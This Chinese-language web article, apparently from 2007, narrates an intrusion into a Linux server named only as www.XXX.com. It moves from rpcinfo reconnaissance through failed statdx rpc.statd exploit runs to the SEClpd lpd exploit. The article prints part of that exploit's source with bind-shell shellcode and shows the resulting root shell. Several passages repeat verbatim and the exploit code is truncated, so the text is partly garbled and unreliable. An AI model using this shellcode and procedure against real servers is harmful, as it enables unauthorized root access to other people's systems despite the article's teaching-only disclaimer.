手机版
你好,游客 登录 注册
背景:
阅读新闻

Linux服务器入侵实例分析(一)

[日期:2007-12-24] 来源:Linux公社  作者:Linux [字体:大 中 小]
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
以下是引用片段:
 bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]
  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 RedHat 6.2 (nfs-utils-0.1.6-2)
  1 Redhat 6.1 (knfsd-1.4.7-7)
  2 Redhat 6.0 (knfsd-1.2.2-4)
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
  bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
  受挫,再试……
  bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
一样``继续
以下是引用片段:
 bash-2.04$finger @www.XXX.com
  [www.XXX.com]
        No one logged on.
再看看111/tcp open sunrpc 。近来rpc漏洞风行,不知道RH7这个东东会不会有?先看看再说!
以下是引用片段:
 bash-2.04$rpcinfo -p www.XXX.com
  program vers proto port service
  100000 2 tcp 111 rpcbind
  100000 2 udp 111 rpcbind
  100021 1 udp 1024 nlockmgr
  100021 3 udp 1024 nlockmgr
  100024 1 udp 1025 status
        100024 1 tcp 1024 status
看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
以下是引用片段:
 bash-2.04$./statdx -h
  statdx by ron1n
  Usage: stat [-t] [-p port] [-a addr] [-l len]
  [-o offset] [-w num] [-s secs] [-d type]
  -t attack a tcp dispatcher [udp]
  -p rpc.statd serves requests on [query]
  -a the stack address of the buffer is
  -l the length of the buffer is [1024]
  -o the offset to return to is [600]
  -w the number of dwords to wipe is [9]
  -s set timeout in seconds to [5]
  -d use a hardcoded
  Available types:
  0 Redhat 6.2 (nfs-utils-0.1.6-2)
  1 Redhat 6.1 (knfsd-1.4.7-7)
  2 Redhat 6.0 (knfsd-1.2.2-4)
  看来并不支持RH7。还是继续尝试,把0-2全部试试看再说!start……
  bash-2.04$stat -d 0 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
  受挫,再试……
  bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
  Failed - statd returned res_stat: (failure) state: 21
一样``继续
以下是引用片段:
 bash-2.04$stat -d 1 www.XXX.com
  buffer: 0xbffff314 length: 999 (+str/+nul)
  target: 0xbffff718 new: 0xbffff56c (offset: 600)
  wiping 9 dwords
        Failed - statd returned res_stat: (failure) state: 21
rpc.statd行不通,想想RH7应该有个远程溢出,好像是lp服务造成的。“seclpd.c”应该是这个东东了。
  —————以下代码仅供教学使用,决不能用来进行恶意攻击—————
  
以下是引用片段:
 /*
  * Welcome to http://hlc.cnroot.com/
  * Run: ./SEClpd victim brute -t type
  * Try first ./SEClpd victim -t 0 then try the brute.
  */
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define ADDRESS_BUFFER_SIZE 32+4
  #define APPEND_BUFFER_SIZE 52
  #define FORMAT_LENGTH 512-8
  #define NOPCOUNT 200
  #define SHELLCODE_COUNT 1030
  #define DELAY 50000 /* usecs */
  #define OFFSET_LIMIT 5000
  char shellcode[] =
  "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
        "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
brute暴力破解。等上5-8分钟左右,结果出来了。
以下是引用片段:
 - [+] shell located on www.XXX.com
  - [+] Enter Commands at will
  Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
        uid=0(root) gid=7(lp)
uid=0(root权限),现在可以近一步入侵!但不要做坏事! linux
相关资讯       Linux服务器  Linux安全 
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数

       

评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款